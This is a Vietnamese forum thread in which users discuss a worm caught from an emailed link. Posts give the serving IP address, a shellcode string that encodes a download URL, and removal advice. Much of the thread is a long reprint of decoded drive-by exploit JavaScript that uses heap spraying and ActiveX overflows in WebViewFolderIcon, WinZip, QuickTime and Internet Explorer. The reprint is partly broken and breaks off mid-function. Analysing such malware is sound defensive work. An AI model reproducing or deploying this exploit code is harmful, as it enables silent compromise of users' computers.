Latest posts for the topic "Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao !"

Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao !

vhboyz — GMT

Do chủ quan không cẩn thận khi nhân được mail sau mình đã click vô link bên dưới bằng trình duyệt IE và lãnh trấu

con worm này lây vào máy nhưng cả Taskmanager và các chương trình xem các process đang hoạt động thì đều không có phát hiện gì lạ Đành mở filemon ra thì phát hiện Spooldr các bác xem hình:

Tay nào viết con này mà cao tay quá,Xem DU Meter thấy nó đang download và upload ầm ầm kiểm tra bằng filemon thấy đường dẫn của nó là C:\Windows\spooldr.exe nhưng vào thì không hề thấy tệp này đâu (mặc dù trong Floder Option mình đã bỏ chọn 2 phần ẩn tệp hệ thống và thư mục ẩn) View Source trang : _http://87.207.105.191/ thu được: Code:

Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao !

secmask — GMT

Forbidden You don't have permission to access /vr/vr2.JPG on this server.

Re: Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao !

9x9=81?? — GMT

Check lại link hình nhé. Coi ko dc Theo như bạn kể thì mình nghĩ con này dạng như Ardamax. Lấy chương trình dòm process nào cũng chẳng thấy đâu. Cách làm chắc cũng như thằng Gameguard giấu process của mình. Bạn có thể tham khảo ở mấy diễn đàn game, mấy chỗ họ đề dạng như phá gameguard ( tất nhiên là English :D) ). Còn cách trị em này thì mình bó tay toàn tập :D) . Bạn dùng Windows Explorer ko thấy là đúng rồi. Thằng coder tốn công để ẩn process thì nó cũng ko lười đến độ ko cho ẩn trong windows explorer. Thử dùng Total Manager hay bất kỳ trình quản lý file khác xem sao. Nếu mình đoán ko lầm thì trong fần startup cũng chẳng thấy nó lun :mrgreen: . Dẫu sao con này vẫn chưa thú vị bằng con mình đã từng bị nhiễm ( chẳng bít con j nữa mà cũng chẳng còn mẫu của nó ). Con nì đo bằng DU Meter cũng ko thấy j ! Sniff cũng ko thấy j ! Mà đen modem cứ chớp như đèn disco :mrgreen: Lấy filemon ra dòm mới bít có nó. Thế là đành ngậm ngùi ghost lại máy :((

Re: Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao !

9x9=81?? — GMT

Lúc nãy ngồi hí hửng tưởng sắp đc có code mới để excute vài em exe -> analyze ngay cái code của nó. Tình hình là thía này đây : nguyên 1 đoạn dài \x30\x37 rùi đến Code:

với s là cái dòng chữ tàu nì : 䅁䅁䅁䅁䅁䅁䅁䅁哫疋謼㕴͸囵皋̠㏵䧉굁�ᒾ㠨瓲섈෋�㯯痟廧庋̤曝ಋ譋ᱞ�ҋ΋쏅牵浬湯搮汬䌀尺⹕硥e쀳ͤ぀౸䂋謌ᱰ训ࡀ৫䂋贴籀䂋锼躿๎ﾄ茄␬＼闐뽐ᨶ瀯濨诿⑔跼멒�匤탿뽝ﺘຊ叨菿Ӭⲃ戤탿线｀ｒￗ瑨灴⼺㠯⸷〲⸷〱⸵㤱⼱楦敬瀮灨 dịch ra có nghĩa là 䅁䅁䅁䅁䅁䅁䅁䅁Zu bolt㕴͸ Lun Hu Gao ̠ ㏵䧉굁 ༶ ᒾ㠨Wa 섈 ෋ 㯯Se reflects the many ̤ sun ಋ Lan ᱞ Ҋ ΋ 쏅 Soul miles Tang determine Jing Bang䌀foot ⹕ e 쀳 ͤ ぀ ౸䂋Ge ᱰ training ࡀ ৫䂋affixed Zhou䂋teaching Kang ๎ ﾄ eggplant ␬ \ rumbling sound 뽐 ᨶ Yingci blaming ⑔跼멒 Zhuo  Qu 탿뽝 ﺘ ຊ grumble Dao Ӭ ⲃ infringe upon a trade mark 탿 line   `r ￗJin Hong ⼺㠯⸷ 〲 ⸷ 〱 ⸵㤱⼱ stretch Gan Jing Ling Còn cái file media kia ko có. Dài ngoằng chắc để overflow media player roài. Chứ dòm wa dòm lại đâu có cái j để excute file exe nào đâu nhỉ ? Với code này máy em chẳng nhiễm j cả. Ngay cả khi mở java,activex và chạy = IE6 . Đơn giản vì đến vòng lặp chỗ sau "var s = unescape ..." thì vòng lặp đến cả 20 triệu ! Máy em chạy code này dc 1 phút, hết ram ( ảo lẫn thiệt :D) ) -> wá tải -> treo máy luôn :D) Chú ý lần sau đưa các dòng code dài vào thẻ [ code ] để tránh làm vỡ trang. Cám ơn.

Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao !

stunvn — GMT

Anh ơi . Mình copy đoạn code trên, bỏ vào Notepad save dưới dạng .exe nó có chạy không anh ?

Re: Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao !

Angel_A — GMT

Con này là Trojan/backdoor hỗng biết hoặc chưa được đặt tên, thường lây lan wa email, thường nằm trong file tên ecard.exe hoặc file spooldr.exe. Bạn không tìm thấy file spooldr.exe đâu vì process này được tạo ra lúc window load driver file %sysdir%\Drivers\spooldr.sys Bạn có thể xóa file spooldr.exe sau khi remove file spooldr.sys, sau đó restore file tcpip.sys trong %SysDir%\Drivers và %SysDir%\dllcache tìm và xóa file spooldir.ini trong "Documents and Settings\UserName" luôn. Bạn dùng tool này thử xem nhé :wink: http://www.greatis.com/reanimator.zip

Worm mới Nguy hiểm

bolzano_1989 — GMT

Sau khi giải mã đoạn Javascript độc hại ở đầu chủ đề, mình ra được đoạn mã gốc sau, đoạn mã exploit được người viết virus này lấy từ MDAC Exploit Code: Code:

var mm = new Array();
 var mem_flag = 0;
 function h()
 {
   mm=mm;
   setTimeout("h()", 2000);
 }
 function getb(b, bSize)
 {
   while (b.length*2< 231) xh+='A';
   xh+="\x0c\x0c\x0c\x0c\x0c\x0c\x0c";
   object.CreateNewFolderFromName(xh);
 }
 function startWVF()
 {
   for (i=0;i<128;i++)
   {
     try
     {
       var tar = new ActiveXObject('WebVi'+'ewFol'+'de'+'rIc'+'on.WebVi'+'ewFol'+'derI'+'con.1');
       d = 0x7ffffffe;
       b = 0x0c0c0c0c
       tar.setSlice(d, b, b, b );
     }
     catch(e)
     {
     }
   }
 }
 function elea()
 {
   var url="http://xa";
   var outValue='';
   for(i=0;i<0x40000)y+=y;
   y=y.substring(0,0x3ffe4-x.length);
   o=new Array();
   for(i=0;i<450;i++)o[i]=y+x;
   z=Math.ceil(0xd0d0d0d);
   document.write('');
   z=document.scripts[0].createControlRange().length;
 }
 function yah()
 {
   try
   {
     document.write("");
     myBuff = '\x0a';
     while (myBuff.length < 5000) myBuff += '\x0a\x0a\x0a\x0a';
     eval(String.fromCharCode(116,97,114,103,101,116,46,115,101,114)+"ver = myBuff;");
     eval("target"+"."+String.fromCharCode(114,101,99,101,105,118,101,40,41)+";");
   }
   catch(e)
   {
     return 0;
   }
 }
 function startOverflow(num)
 {
   if (num == 0)
   {
     try
     {
       if (! mem_flag) cf();
       yah();
       elea();
       var qt = new ActiveXObject('Quick'+'Time.Qu'+'ickTime');
       if (qt)
       {
         var qthtml = ''+
         ''+
         ''+
         ''+
         ''+
         '';
         if (! mem_flag) cf();
         document.getElementById('myd'+'iv').innerHTML = qthtml;
         num = 255;
       }
     }
     catch(e)
     {
     }
     if (num = 255) setTimeout("startOverflow(1)", 2000);
     else startOverflow(1);
   }
   else if (num == 1)
   {
     try
     {
       var winzip = document.createElement("object");
       winzip.setAttribute("classid", "clsid:A09AE6"+"8F-B14D-43"+"ED-B713-BA413"+"F034904");
       var ret=winzip.CreateNewFolderFromName(unescape("%00"));
       if (ret == false)
       {
         if (! mem_flag) cf();
         startWinZip(winzip);
         num = 255;
       }
     }
     catch(e)
     {
     }
     if (num = 255) setTimeout("startOverflow(2)", 2000);
     else startOverflow(2);
   }
   else if (num == 2)
   {
     try
     {
       var tar = new ActiveXObject('WebVi'+'ewFol'+'derIc'+'on.WebVi'+'ewFol'+'derI'+'con.1');
       if (tar)
       {
         if (! mem_flag) cf();
         startWVF();
       }
     }
     catch(e)
     {
     }
   }
 }
 function GetRandString(len)
 {
   var chars = "abcdefghiklmnopqrstuvwxyz";
   var string_length = len;
   var randomstring = '';
   for (var i=0; i

Worm mới Nguy hiểm [Hàng khủng] Các bác nên vào xem sao !

X-code — GMT

Pro thế. Mình chưa viết được 1 cái nào. Về phải học làm hacker mới được